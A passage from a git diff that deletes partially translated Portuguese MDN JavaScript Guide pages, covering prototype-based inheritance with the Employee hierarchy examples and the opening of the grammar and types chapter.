- <td>Define a class with a class definition; instantiate a class with constructor methods.</td>
- <td>Define and create a set of objects with constructor functions.</td>
- </tr>
- <tr>
- <td>Create a single object with the <code>new</code> operator.</td>
- <td>Same.</td>
- </tr>
- <tr>
- <td>Construct an object hierarchy by using class definitions to define subclasses of existing classes.</td>
- <td>Construct an object hierarchy by assigning an object as the prototype associated with a constructor function.</td>
- </tr>
- <tr>
- <td>Inherit properties by following the class chain.</td>
- <td>Inherit properties by following the prototype chain.</td>
- </tr>
- <tr>
- <td>Class definition specifies <em>all</em> properties of all instances of a class. Cannot add properties dynamically at run time.</td>
- <td>Constructor function or prototype specifies an <em>initial set</em> of properties. Can add or remove properties dynamically to individual objects or to the entire set of objects.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="The_employee_example">The employee example</h2>
-
-<p>The remainder of this chapter uses the employee hierarchy shown in the following figure.</p>
-
-<div style="display: table-row;">
-<div style="display: table-cell; width: 350px; text-align: center; vertical-align: middle; padding: 10px;">
-<p>A simple object hierarchy with the following objects:</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/3060/figure8.1.png"></p>
-</div>
-
-<div style="display: table-cell; vertical-align: middle; padding: 10px;">
-<ul>
- <li><code>Employee</code> has the properties <code>name</code> (whose value defaults to the empty string) and <code>dept</code> (whose value defaults to "general").</li>
- <li><code>Manager</code> is based on <code>Employee</code>. It adds the <code>reports</code> property (whose value defaults to an empty array, intended to have an array of <code>Employee</code> objects as its value).</li>
- <li><code>WorkerBee</code> is also based on <code>Employee</code>. It adds the <code>projects</code> property (whose value defaults to an empty array, intended to have an array of strings as its value).</li>
- <li><code>SalesPerson</code> is based on <code>WorkerBee</code>. It adds the <code>quota</code> property (whose value defaults to 100). It also overrides the <code>dept</code> property with the value "sales", indicating that all salespersons are in the same department.</li>
- <li><code>Engineer</code> is based on <code>WorkerBee</code>. It adds the <code>machine</code> property (whose value defaults to the empty string) and also overrides the <code>dept</code> property with the value "engineering".</li>
-</ul>
-</div>
-</div>
-
-<h2 id="Criação_de_hierarquia">Criação de hierarquia</h2>
-
-<p>There are several ways to define appropriate constructor functions to implement the Employee hierarchy. How you choose to define them depends largely on what you want to be able to do in your application.</p>
-
-<p>This section shows how to use very simple (and comparatively inflexible) definitions to demonstrate how to get the inheritance to work. In these definitions, you cannot specify any property values when you create an object. The newly-created object simply gets the default values, which you can change at a later time.</p>
-
-<p>In a real application, you would probably define constructors that allow you to provide property values at object creation time (see <a href="#More_flexible_constructors">More flexible constructors</a> for information). For now, these simple definitions demonstrate how the inheritance occurs.</p>
-
-<p>The following Java and JavaScript <code>Employee</code> definitions are similar. The only difference is that you need to specify the type for each property in Java but not in JavaScript (this is due to Java being a <a href="http://en.wikipedia.org/wiki/Strong_and_weak_typing">strongly typed language</a> while JavaScript is a weakly typed language).</p>
-
-<div class="twocolumns">
-<h4 id="JavaScript">JavaScript</h4>
-
-<pre class="brush: js">function Employee() {
- this.name = "";
- this.dept = "general";
-}
-</pre>
-
-<h4 id="Java">Java</h4>
-
-<pre class="brush: java">public class Employee {
- public String name = "";
- public String dept = "general";
-}
-</pre>
-</div>
-
-<p>The <code>Manager</code> and <code>WorkerBee</code> definitions show the difference in how to specify the next object higher in the inheritance chain. In JavaScript, you add a prototypical instance as the value of the <code>prototype</code> property of the constructor function. You can do so at any time after you define the constructor. In Java, you specify the superclass within the class definition. You cannot change the superclass outside the class definition.</p>
-
-<div class="twocolumns">
-<h4 id="JavaScript_2">JavaScript</h4>
-
-<pre class="brush: js">function Manager() {
- Employee.call(this);
- this.reports = [];
-}
-Manager.prototype = Object.create(Employee.prototype);
-
-function WorkerBee() {
- Employee.call(this);
- this.projects = [];
-}
-WorkerBee.prototype = Object.create(Employee.prototype);
-</pre>
-
-<h4 id="Java_2">Java</h4>
-
-<pre class="brush: java">public class Manager extends Employee {
- public Employee[] reports = new Employee[0];
-}
-
-
-
-public class WorkerBee extends Employee {
- public String[] projects = new String[0];
-}
-
-
-</pre>
-</div>
-
-<p>The <code>Engineer</code> and <code>SalesPerson</code> definitions create objects that descend from <code>WorkerBee</code> and hence from <code>Employee</code>. An object of these types has properties of all the objects above it in the chain. In addition, these definitions override the inherited value of the <code>dept</code> property with new values specific to these objects.</p>
-
-<div class="twocolumns">
-<h4 id="JavaScript_3">JavaScript</h4>
-
-<pre class="brush: js">function SalesPerson() {
- WorkerBee.call(this);
- this.dept = "sales";
- this.quota = 100;
-}
-SalesPerson.prototype = Object.create(WorkerBee.prototype);
-
-function Engineer() {
- WorkerBee.call(this);
- this.dept = "engineering";
- this.machine = "";
-}
-Engineer.prototype = Object.create(WorkerBee.prototype);
-</pre>
-
-<h4 id="Java_3">Java</h4>
-
-<pre class="brush: java">public class SalesPerson extends WorkerBee {
- public double quota;
- public dept = "sales";
- public quota = 100.0;
-}
-
-
-public class Engineer extends WorkerBee {
- public String machine;
- public dept = "engineering";
- public machine = "";
-}
-
-</pre>
-</div>
-
-<p>Using these definitions, you can create instances of these objects that get the default values for their properties. The next figure illustrates using these JavaScript definitions to create new objects and shows the property values for the new objects.</p>
-
-<div class="note">
-<p><strong>Nota:</strong> The term <em><em>instance</em></em> has a specific technical meaning in class-based languages. In these languages, an instance is an individual instantiation of a class and is fundamentally different from a class. In JavaScript, "instance" does not have this technical meaning because JavaScript does not have this difference between classes and instances. However, in talking about JavaScript, "instance" can be used informally to mean an object created using a particular constructor function. So, in this example, you could informally say that <code><code>jane</code></code> is an instance of <code><code>Engineer</code></code>. Similarly, although the terms <em><em>parent</em>, <em>child</em>, <em>ancestor</em></em>, and <em><em>descendant</em></em> do not have formal meanings in JavaScript; you can use them informally to refer to objects higher or lower in the prototype chain.</p>
-</div>
-
-<h3 id="Criação_de_objetos_com_definições_simples">Criação de objetos com definições simples</h3>
-
-<div class="twocolumns">
-<h4 id="Hierarquia_do_objeto">Hierarquia do objeto</h4>
-
-<p>The following hierarchy is created using the code on the right side.</p>
-
-<p><img src="https://mdn.mozillademos.org/files/10412/=figure8.3.png"></p>
-
-<p> </p>
-
-<h4 id="individual_objects">individual objects</h4>
-
-<pre class="brush: js">var jim = new Employee;
-// jim.name is ''
-// jim.dept is 'general'
-
-var sally = new Manager;
-// sally.name is ''
-// sally.dept is 'general'
-// sally.reports is []
-
-var mark = new WorkerBee;
-// mark.name is ''
-// mark.dept is 'general'
-// mark.projects is []
-
-var fred = new SalesPerson;
-// fred.name is ''
-// fred.dept is 'sales'
-// fred.projects is []
-// fred.quota is 100
-
-var jane = new Engineer;
-// jane.name is ''
-// jane.dept is 'engineering'
-// jane.projects is []
-// jane.machine is ''
-</pre>
-</div>
-
-<h2 id="Propriedades_do_objeto">Propriedades do objeto</h2>
-
-<p>This section discusses how objects inherit properties from other objects in the prototype chain and what happens when you add a property at run time.</p>
-
-<h3 id="Propriedades_de_sucessão">Propriedades de sucessão</h3>
-
-<p>Suppose you create the <code>mark</code> object as a <code>WorkerBee</code> with the following statement:</p>
-
-<pre class="brush: js">var mark = new WorkerBee;
-</pre>
-
-<p>When JavaScript sees the <code>new</code> operator, it creates a new generic object and passes this new object as the value of the <code>this</code> keyword to the <code>WorkerBee</code> constructor function. The constructor function explicitly sets the value of the <code>projects</code> property, and implicitly sets the value of the internal <code>__proto__</code> property to the value of <code>WorkerBee.prototype</code>. (That property name has two underscore characters at the front and two at the end.) The <code>__proto__</code> property determines the prototype chain used to return property values. Once these properties are set, JavaScript returns the new object and the assignment statement sets the variable <code>mark</code> to that object.</p>
-
-<p>This process does not explicitly put values in the <code>mark</code> object (<em>local</em> values) for the properties that <code>mark</code> inherits from the prototype chain. When you ask for the value of a property, JavaScript first checks to see if the value exists in that object. If it does, that value is returned. If the value is not there locally, JavaScript checks the prototype chain (using the <code>__proto__</code> property). If an object in the prototype chain has a value for the property, that value is returned. If no such property is found, JavaScript says the object does not have the property. In this way, the <code>mark</code> object has the following properties and values:</p>
-
-<pre class="brush: js">mark.name = "";
-mark.dept = "general";
-mark.projects = [];
-</pre>
-
-<p>The <code>mark</code> object inherits values for the <code>name</code> and <code>dept</code> properties from the prototypical object in <code>mark.__proto__</code>. It is assigned a local value for the <code>projects</code> property by the <code>WorkerBee</code> constructor. This gives you inheritance of properties and their values in JavaScript. Some subtleties of this process are discussed in <a href="#Property_inheritance_revisited">Property inheritance revisited</a>.</p>
-
-<p>Because these constructors do not let you supply instance-specific values, this information is generic. The property values are the default ones shared by all new objects created from <code>WorkerBee</code>. You can, of course, change the values of any of these properties. So, you could give specific information for <code>mark</code> as follows:</p>
-
-<pre class="brush: js">mark.name = "Doe, Mark";
-mark.dept = "admin";
-mark.projects = ["navigator"];</pre>
-
-<h3 id="Adição_de_propriedades">Adição de propriedades</h3>
-
-<p>In JavaScript, you can add properties to any object at run time. You are not constrained to use only the properties provided by the constructor function. To add a property that is specific to a single object, you assign a value to the object, as follows:</p>
-
-<pre class="brush: js">mark.bonus = 3000;
-</pre>
-
-<p>Now, the <code>mark</code> object has a <code>bonus</code> property, but no other <code>WorkerBee</code> has this property.</p>
-
-<p>If you add a new property to an object that is being used as the prototype for a constructor function, you add that property to all objects that inherit properties from the prototype. For example, you can add a <code>specialty</code> property to all employees with the following statement:</p>
-
-<pre class="brush: js">Employee.prototype.specialty = "none";
-</pre>
-
-<p>As soon as JavaScript executes this statement, the <code>mark</code> object also has the <code>specialty</code> property with the value of <code>"none"</code>. The following figure shows the effect of adding this property to the <code>Employee</code> prototype and then overriding it for the <code>Engineer</code> prototype.</p>
-
-<p><img alt="" class="internal" src="/@api/deki/files/4422/=figure8.4.png" style="height: 519px; width: 833px;"><br>
- <small><strong>Adding properties</strong></small></p>
-
-<h2 id="Mais_construtores_flexíveis">Mais construtores flexíveis</h2>
-
-<p>The constructor functions shown so far do not let you specify property values when you create an instance. As with Java, you can provide arguments to constructors to initialize property values for instances. The following figure shows one way to do this.</p>
-
-<p><img alt="" class="internal" id="figure8.5" src="/@api/deki/files/4423/=figure8.5.png" style="height: 481px; width: 1012px;"><br>
- <small><strong>Specifying properties in a constructor, take 1</strong></small></p>
-
-<p>The following table shows the Java and JavaScript definitions for these objects.</p>
-
-<div class="twocolumns">
-<h4 id="JavaScript_4">JavaScript</h4>
-
-<h4 id="Java_4">Java</h4>
-</div>
-
-<div class="twocolumns">
-<pre class="brush: js">function Employee (name, dept) {
- this.name = name || "";
- this.dept = dept || "general";
-}
-</pre>
-
-<p> </p>
-
-<p> </p>
-
-<p> </p>
-
-<p> </p>
-
-<p> </p>
-
-<pre class="brush: java">public class Employee {
- public String name;
- public String dept;
- public Employee () {
- this("", "general");
- }
- public Employee (String name) {
- this(name, "general");
- }
- public Employee (String name, String dept) {
- this.name = name;
- this.dept = dept;
- }
-}
-</pre>
-</div>
-
-<div class="twocolumns">
-<pre class="brush: js">function WorkerBee (projs) {
-
- this.projects = projs || [];
-}
-WorkerBee.prototype = new Employee;
-</pre>
-
-<p> </p>
-
-<p> </p>
-
-<p> </p>
-
-<pre class="brush: java">public class WorkerBee extends Employee {
- public String[] projects;
- public WorkerBee () {
- this(new String[0]);
- }
- public WorkerBee (String[] projs) {
- projects = projs;
- }
-}
-</pre>
-</div>
-
-<div class="twocolumns">
-<pre class="brush: js">
-function Engineer (mach) {
- this.dept = "engineering";
- this.machine = mach || "";
-}
-Engineer.prototype = new WorkerBee;
-</pre>
-
-<p> </p>
-
-<p> </p>
-
-<p> </p>
-
-<pre class="brush: java">public class Engineer extends WorkerBee {
- public String machine;
- public Engineer () {
- dept = "engineering";
- machine = "";
- }
- public Engineer (String mach) {
- dept = "engineering";
- machine = mach;
- }
-}
-</pre>
-</div>
-
-<p>These JavaScript definitions use a special idiom for setting default values:</p>
-
-<pre class="brush: js">this.name = name || "";
-</pre>
-
-<p>The JavaScript logical OR operator (<code>||</code>) evaluates its first argument. If that argument converts to true, the operator returns it. Otherwise, the operator returns the value of the second argument. Therefore, this line of code tests to see if <code>name</code> has a useful value for the <code>name</code> property. If it does, it sets <code>this.name</code> to that value. Otherwise, it sets <code>this.name</code> to the empty string. This chapter uses this idiom for brevity; however, it can be puzzling at first glance.</p>
-
-<div class="note">
-<p><strong>Note:</strong> This may not work as expected if the constructor function is called with arguments which convert to <code><code>false</code></code> (like <code>0</code> (zero) and empty string (<code><code>""</code></code>). In this case the default value will be chosen.</p>
-</div>
-
-<p>With these definitions, when you create an instance of an object, you can specify values for the locally defined properties. You can use the following statement to create a new <code>Engineer</code>:</p>
-
-<pre class="brush: js">var jane = new Engineer("belau");
-</pre>
-
-<p><code>Jane</code>'s properties are now:</p>
-
-<pre class="brush: js">jane.name == "";
-jane.dept == "engineering";
-jane.projects == [];
-jane.machine == "belau"
-</pre>
-
-<p>Notice that with these definitions, you cannot specify an initial value for an inherited property such as <code>name</code>. If you want to specify an initial value for inherited properties in JavaScript, you need to add more code to the constructor function.</p>
-
-<p>So far, the constructor function has created a generic object and then specified local properties and values for the new object. You can have the constructor add more properties by directly calling the constructor function for an object higher in the prototype chain. The following figure shows these new definitions.</p>
-
-<p><img alt="" class="internal" src="/@api/deki/files/4430/=figure8.6.png" style="height: 534px; width: 1063px;"><br>
- <small><strong>Specifying properties in a constructor, take 2</strong></small></p>
-
-<p>Let's look at one of these definitions in detail. Here's the new definition for the <code>Engineer</code> constructor:</p>
-
-<pre class="brush: js">function Engineer (name, projs, mach) {
- this.base = WorkerBee;
- this.base(name, "engineering", projs);
- this.machine = mach || "";
-}
-</pre>
-
-<p>Suppose you create a new <code>Engineer</code> object as follows:</p>
-
-<pre class="brush: js">var jane = new Engineer("Doe, Jane", ["navigator", "javascript"], "belau");
-</pre>
-
-<p>JavaScript follows these steps:</p>
-
-<ol>
- <li>The <code>new</code> operator creates a generic object and sets its <code>__proto__</code> property to <code>Engineer.prototype</code>.</li>
- <li>The <code>new</code> operator passes the new object to the <code>Engineer</code> constructor as the value of the <code>this</code> keyword.</li>
- <li>The constructor creates a new property called <code>base</code> for that object and assigns the value of the <code>WorkerBee</code> constructor to the <code>base</code> property. This makes the <code>WorkerBee</code> constructor a method of the <code>Engineer</code> object.The name of the<code> base</code> property is not special. You can use any legal property name; <code>base</code> is simply evocative of its purpose.</li>
- <li>
- <p>The constructor calls the <code>base</code> method, passing as its arguments two of the arguments passed to the constructor (<code>"Doe, Jane"</code> and <code>["navigator", "javascript"]</code>) and also the string <code>"engineering"</code>. Explicitly using <code>"engineering"</code> in the constructor indicates that all <code>Engineer</code> objects have the same value for the inherited <code>dept</code> property, and this value overrides the value inherited from <code>Employee</code>.</p>
- </li>
- <li>Because <code>base</code> is a method of <code>Engineer</code>, within the call to <code>base</code>, JavaScript binds the <code>this</code> keyword to the object created in Step 1. Thus, the <code>WorkerBee</code> function in turn passes the <code>"Doe, Jane"</code> and <code>"engineering"</code> arguments to the <code>Employee</code> constructor function. Upon return from the <code>Employee</code> constructor function, the <code>WorkerBee</code> function uses the remaining argument to set the <code>projects</code> property.</li>
- <li>Upon return from the <code>base</code> method, the <code>Engineer</code> constructor initializes the object's <code>machine</code> property to <code>"belau"</code>.</li>
- <li>Upon return from the constructor, JavaScript assigns the new object to the <code>jane</code> variable.</li>
-</ol>
-
-<p>You might think that, having called the <code>WorkerBee</code> constructor from inside the <code>Engineer</code> constructor, you have set up inheritance appropriately for <code>Engineer</code> objects. This is not the case. Calling the <code>WorkerBee</code> constructor ensures that an <code>Engineer</code> object starts out with the properties specified in all constructor functions that are called. However, if you later add properties to the <code>Employee</code> or <code>WorkerBee</code> prototypes, those properties are not inherited by the <code>Engineer</code> object. For example, assume you have the following statements:</p>
-
-<pre class="brush: js">function Engineer (name, projs, mach) {
- this.base = WorkerBee;
- this.base(name, "engineering", projs);
- this.machine = mach || "";
-}
-var jane = new Engineer("Doe, Jane", ["navigator", "javascript"], "belau");
-Employee.prototype.specialty = "none";
-</pre>
-
-<p>The <code>jane</code> object does not inherit the <code>specialty</code> property. You still need to explicitly set up the prototype to ensure dynamic inheritance. Assume instead you have these statements:</p>
-
-<pre class="brush: js">function Engineer (name, projs, mach) {
- this.base = WorkerBee;
- this.base(name, "engineering", projs);
- this.machine = mach || "";
-}
-Engineer.prototype = new WorkerBee;
-var jane = new Engineer("Doe, Jane", ["navigator", "javascript"], "belau");
-Employee.prototype.specialty = "none";
-</pre>
-
-<p>Now the value of the <code>jane</code> object's <code>specialty</code> property is "none".</p>
-
-<p>Another way of inheriting is by using the <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call" title="en-US/docs/JavaScript/Reference/Global Objects/Function/call">call()</a></code> / <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply" title="en-US/docs/JavaScript/Reference/Global Objects/Function/apply"><code>apply()</code></a> methods. Below are equivalent:</p>
-
-<div class="twocolumns">
-<pre class="brush: js">function Engineer (name, projs, mach) {
- this.base = WorkerBee;
- this.base(name, "engineering", projs);
- this.machine = mach || "";
-}
-</pre>
-
-<pre class="brush: js">function Engineer (name, projs, mach) {
- WorkerBee.call(this, name, "engineering", projs);
- this.machine = mach || "";
-}
-</pre>
-</div>
-
-<p>Using the javascript <code>call()</code> method makes a cleaner implementation because the <code>base</code> is not needed anymore.</p>
-
-<h2 id="Sucessão_de_propriedade_revisitada">Sucessão de propriedade revisitada</h2>
-
-<p>The preceding sections described how JavaScript constructors and prototypes provide hierarchies and inheritance. This section discusses some subtleties that were not necessarily apparent in the earlier discussions.</p>
-
-<h3 id="Valores_locais_versus_sucedidos">Valores locais versus sucedidos</h3>
-
-<p>When you access an object property, JavaScript performs these steps, as described earlier in this chapter:</p>
-
-<ol>
- <li>Check to see if the value exists locally. If it does, return that value.</li>
- <li>If there is not a local value, check the prototype chain (using the <code>__proto__</code> property).</li>
- <li>If an object in the prototype chain has a value for the specified property, return that value.</li>
- <li>If no such property is found, the object does not have the property.</li>
-</ol>
-
-<p>The outcome of these steps depends on how you define things along the way. The original example had these definitions:</p>
-
-<pre class="brush: js">function Employee () {
- this.name = "";
- this.dept = "general";
-}
-
-function WorkerBee () {
- this.projects = [];
-}
-WorkerBee.prototype = new Employee;
-</pre>
-
-<p>With these definitions, suppose you create <code>amy</code> as an instance of <code>WorkerBee</code> with the following statement:</p>
-
-<pre class="brush: js">var amy = new WorkerBee;
-</pre>
-
-<p>The <code>amy</code> object has one local property, <code>projects</code>. The values for the <code>name</code> and <code>dept</code> properties are not local to <code>amy</code> and so derive from the <code>amy</code> object's <code>__proto__</code> property. Thus, <code>amy</code> has these property values:</p>
-
-<pre class="brush: js">amy.name == "";
-amy.dept == "general";
-amy.projects == [];
-</pre>
-
-<p>Now suppose you change the value of the <code>name</code> property in the prototype associated with <code>Employee</code>:</p>
-
-<pre class="brush: js">Employee.prototype.name = "Unknown"
-</pre>
-
-<p>At first glance, you might expect that new value to propagate down to all the instances of <code>Employee</code>. However, it does not.</p>
-
-<p>When you create <em>any</em> instance of the <code>Employee</code> object, that instance gets a local value for the <code>name</code> property (the empty string). This means that when you set the <code>WorkerBee</code> prototype by creating a new <code>Employee</code> object, <code>WorkerBee.prototype</code> has a local value for the <code>name</code> property. Therefore, when JavaScript looks up the <code>name</code> property of the <code>amy</code> object (an instance of <code>WorkerBee</code>), JavaScript finds the local value for that property in <code>WorkerBee.prototype</code>. It therefore does not look further up the chain to <code>Employee.prototype</code>.</p>
-
-<p>If you want to change the value of an object property at run time and have the new value be inherited by all descendants of the object, you cannot define the property in the object's constructor function. Instead, you add it to the constructor's associated prototype. For example, assume you change the preceding code to the following:</p>
-
-<pre class="brush: js">function Employee () {
- this.dept = "general";
-}
-Employee.prototype.name = "";
-
-function WorkerBee () {
- this.projects = [];
-}
-WorkerBee.prototype = new Employee;
-
-var amy = new WorkerBee;
-
-Employee.prototype.name = "Unknown";
-</pre>
-
-<p>In this case, the <code>name</code> property of <code>amy</code> becomes "Unknown".</p>
-
-<p>As these examples show, if you want to have default values for object properties and you want to be able to change the default values at run time, you should set the properties in the constructor's prototype, not in the constructor function itself.</p>
-
-<h3 id="Determining_instance_relationships">Determining instance relationships</h3>
-
-<p>Property lookup in JavaScript looks within an object's own properties and, if the property name is not found, it looks within the special object property <code>__proto__</code>. This continues recursively; the process is called "lookup in the prototype chain".</p>
-
-<p>The special property <code>__proto__</code> is set when an object is constructed; it is set to the value of the constructor's <code>prototype</code> property. So the expression <code>new Foo()</code> creates an object with <code>__proto__ == <code class="moz-txt-verticalline">Foo.prototype</code></code>. Consequently, changes to the properties of <code class="moz-txt-verticalline">Foo.prototype</code> alters the property lookup for all objects that were created by <code>new Foo()</code>.</p>
-
-<p>Every object has a <code>__proto__</code> object property (except <code>Object</code>); every function has a <code>prototype</code> object property. So objects can be related by 'prototype inheritance' to other objects. You can test for inheritance by comparing an object's <code>__proto__</code> to a function's <code>prototype</code> object. JavaScript provides a shortcut: the <code>instanceof</code> operator tests an object against a function and returns true if the object inherits from the function prototype. For example,</p>
-
-<pre class="brush: js">var f = new Foo();
-var isTrue = (f instanceof Foo);</pre>
-
-<p>For a more detailed example, suppose you have the same set of definitions shown in <a href="#Inheriting_properties">Inheriting properties</a>. Create an <code>Engineer</code> object as follows:</p>
-
-<pre class="brush: js">var chris = new Engineer("Pigman, Chris", ["jsd"], "fiji");
-</pre>
-
-<p>With this object, the following statements are all true:</p>
-
-<pre class="brush: js">chris.__proto__ == Engineer.prototype;
-chris.__proto__.__proto__ == WorkerBee.prototype;
-chris.__proto__.__proto__.__proto__ == Employee.prototype;
-chris.__proto__.__proto__.__proto__.__proto__ == Object.prototype;
-chris.__proto__.__proto__.__proto__.__proto__.__proto__ == null;
-</pre>
-
-<p>Given this, you could write an <code>instanceOf</code> function as follows:</p>
-
-<pre class="brush: js">function instanceOf(object, constructor) {
- object = object.__proto__;
- while (object != null) {
- if (object == constructor.prototype)
- return true;
- if (typeof object == 'xml') {
- return constructor.prototype == XML.prototype;
- }
- object = object.__proto__;
- }
- return false;
-}
-</pre>
-
-<div class="note"><strong>Note:</strong> The implementation above checks the type of the object against "xml" in order to work around a quirk of how XML objects are represented in recent versions of JavaScript. See {{ bug(634150) }} if you want the nitty-gritty details.</div>
-
-<p>Using the instanceOf function defined above, these expressions are true:</p>
-
-<pre class="brush: js">instanceOf (chris, Engineer)
-instanceOf (chris, WorkerBee)
-instanceOf (chris, Employee)
-instanceOf (chris, Object)
-</pre>
-
-<p>But the following expression is false:</p>
-
-<pre class="brush: js">instanceOf (chris, SalesPerson)
-</pre>
-
-<h3 id="Informação_global_nos_construtores">Informação global nos construtores</h3>
-
-<p>When you create constructors, you need to be careful if you set global information in the constructor. For example, assume that you want a unique ID to be automatically assigned to each new employee. You could use the following definition for <code>Employee</code>:</p>
-
-<pre class="brush: js">var idCounter = 1;
-
-function Employee (name, dept) {
- this.name = name || "";
- this.dept = dept || "general";
- this.id = idCounter++;
-}
-</pre>
-
-<p>With this definition, when you create a new <code>Employee</code>, the constructor assigns it the next ID in sequence and then increments the global ID counter. So, if your next statement is the following, <code>victoria.id</code> is 1 and <code>harry.id</code> is 2:</p>
-
-<pre class="brush: js">var victoria = new Employee("Pigbert, Victoria", "pubs")
-var harry = new Employee("Tschopik, Harry", "sales")
-</pre>
-
-<p>At first glance that seems fine. However, <code>idCounter</code> gets incremented every time an <code>Employee</code> object is created, for whatever purpose. If you create the entire <code>Employee</code> hierarchy shown in this chapter, the <code>Employee</code> constructor is called every time you set up a prototype. Suppose you have the following code:</p>
-
-<pre class="brush: js">var idCounter = 1;
-
-function Employee (name, dept) {
- this.name = name || "";
- this.dept = dept || "general";
- this.id = idCounter++;
-}
-
-function Manager (name, dept, reports) {...}
-Manager.prototype = new Employee;
-
-function WorkerBee (name, dept, projs) {...}
-WorkerBee.prototype = new Employee;
-
-function Engineer (name, projs, mach) {...}
-Engineer.prototype = new WorkerBee;
-
-function SalesPerson (name, projs, quota) {...}
-SalesPerson.prototype = new WorkerBee;
-
-var mac = new Engineer("Wood, Mac");
-</pre>
-
-<p>Further assume that the definitions omitted here have the <code>base</code> property and call the constructor above them in the prototype chain. In this case, by the time the <code>mac</code> object is created, <code>mac.id</code> is 5.</p>
-
-<p>Depending on the application, it may or may not matter that the counter has been incremented these extra times. If you care about the exact value of this counter, one possible solution involves instead using the following constructor:</p>
-
-<pre class="brush: js">function Employee (name, dept) {
- this.name = name || "";
- this.dept = dept || "general";
- if (name)
- this.id = idCounter++;
-}
-</pre>
-
-<p>When you create an instance of <code>Employee</code> to use as a prototype, you do not supply arguments to the constructor. Using this definition of the constructor, when you do not supply arguments, the constructor does not assign a value to the id and does not update the counter. Therefore, for an <code>Employee</code> to get an assigned id, you must specify a name for the employee. In this example, <code>mac.id</code> would be 1.</p>
-
-<h3 id="No_multiple_inheritance">No multiple inheritance</h3>
-
-<p>Some object-oriented languages allow multiple inheritance. That is, an object can inherit the properties and values from unrelated parent objects. JavaScript does not support multiple inheritance.</p>
-
-<p>Inheritance of property values occurs at run time by JavaScript searching the prototype chain of an object to find a value. Because an object has a single associated prototype, JavaScript cannot dynamically inherit from more than one prototype chain.</p>
-
-<p>In JavaScript, you can have a constructor function call more than one other constructor function within it. This gives the illusion of multiple inheritance. For example, consider the following statements:</p>
-
-<pre class="brush: js">function Hobbyist (hobby) {
- this.hobby = hobby || "scuba";
-}
-
-function Engineer (name, projs, mach, hobby) {
- this.base1 = WorkerBee;
- this.base1(name, "engineering", projs);
- this.base2 = Hobbyist;
- this.base2(hobby);
- this.machine = mach || "";
-}
-Engineer.prototype = new WorkerBee;
-
-var dennis = new Engineer("Doe, Dennis", ["collabra"], "hugo")
-</pre>
-
-<p>Further assume that the definition of <code>WorkerBee</code> is as used earlier in this chapter. In this case, the <code>dennis</code> object has these properties:</p>
-
-<pre class="brush: js">dennis.name == "Doe, Dennis"
-dennis.dept == "engineering"
-dennis.projects == ["collabra"]
-dennis.machine == "hugo"
-dennis.hobby == "scuba"
-</pre>
-
-<p>So <code>dennis</code> does get the <code>hobby</code> property from the <code>Hobbyist</code> constructor. However, assume you then add a property to the <code>Hobbyist</code> constructor's prototype:</p>
-
-<pre class="brush: js">Hobbyist.prototype.equipment = ["mask", "fins", "regulator", "bcd"]
-</pre>
-
-<p>The <code>dennis</code> object does not inherit this new property.</p>
-
-<div>{{PreviousNext("Web/JavaScript/Guide/Working_with_Objects", "Web/JavaScript/Guide/Iterators_and_Generators")}}</div>
diff --git a/files/pt-pt/web/javascript/guide/grammar_and_types/index.html b/files/pt-pt/web/javascript/guide/grammar_and_types/index.html
deleted file mode 100644
index 511fe9d281..0000000000
--- a/files/pt-pt/web/javascript/guide/grammar_and_types/index.html
+++ /dev/null
@@ -1,642 +0,0 @@
----
-title: Gramática e tipos
-slug: Web/JavaScript/Guide/Grammar_and_types
-tags:
- - Guia(2)
- - JavaScript
-translation_of: Web/JavaScript/Guide/Grammar_and_types
-original_slug: Web/JavaScript/Guia/Gramática_e_tipos
----
-<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Introduction", "Web/JavaScript/Guide/Control_flow_and_error_handling")}}</div>
-
-<p class="summary">Este capítulo discute a gramática básica do JavaScript, declarações de variáveis, tipos de dados e literais.</p>
-
-<h2 id="Básicos">Básicos</h2>
-
-<p>JavaScript borrows most of its syntax from Java, but is also influenced by Awk, Perl and Python.</p>
-
-<p>JavaScript is <strong>case-sensitive</strong> and uses the <strong>Unicode</strong> character set.</p>
-
-<p>In JavaScript, instructions are called {{Glossary("Statement", "statements")}} and are separated by a semicolon (;). Spaces, tabs and newline characters are called whitespace. The source text of JavaScript scripts gets scanned from left to right and is converted into a sequence of input elements which are tokens, control characters, line terminators, comments or whitespace. ECMAScript also defines certain keywords and literals and has rules for automatic insertion of semicolons (<a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">ASI</a>) to end statements. However, it is recommended to always add semicolons to end your statements; it will avoid side effects. For more information, see the detailed reference about JavaScript's <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar">lexical grammar</a>.</p>
-
-<h2 id="Comentários">Comentários</h2>
-
-<p>The syntax of <strong>comments</strong> is the same as in C++ and in many other languages:</p>
-
-<pre class="brush: js">// a one line comment
-
-/* this is a longer,
- multi-line comment
- */
-
-/* You can't, however, /* nest comments */ SyntaxError */</pre>
-
-<h2 id="Declarações">Declarações</h2>
-
-<p>There are three kinds of declarations in JavaScript.</p>
-
-<dl>
- <dt>{{jsxref("Statements/var", "var")}}</dt>
- <dd>Declares a variable, optionally initializing it to a value.</dd>
- <dt>{{experimental_inline}} {{jsxref("Statements/let", "let")}}</dt>
- <dd>Declares a block scope local variable, optionally initializing it to a value.</dd>
- <dt>{{experimental_inline}} {{jsxref("Statements/const", "const")}}</dt>
- <dd>Declares a read-only named constant.</dd>
-</dl>
-
-<h3 id="Variáveis">Variáveis</h3>
-
-<p>You use variables as symbolic names for values in your application. The names of variables, called {{Glossary("Identifier", "identifiers")}}, conform to certain rules.</p>
-
-<p>A JavaScript identifier must start with a letter, underscore (_), or dollar sign ($); subsequent characters can also be digits (0-9). Because JavaScript is case sensitive, letters include the characters "A" through "Z" (uppercase) and the characters "a" through "z" (lowercase).</p>
-
-<p>You can use ISO 8859-1 or Unicode letters such as å and ü in identifiers. You can also use the <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#String_literals">Unicode escape sequences</a> as characters in identifiers.</p>
-
-<p>Some examples of legal names are <code>Number_hits</code>, <code>temp99</code>, and <code>_name</code>.</p>
-
-<h3 id="Declararação_de_variáveis">Declararação de variáveis</h3>
-
-<p>You can declare a variable in three ways:</p>
-
-<ul>
- <li>With the keyword {{jsxref("Statements/var", "var")}}. For example, <code>var x = 42</code>. This syntax can be used to declare both local and global variables.</li>
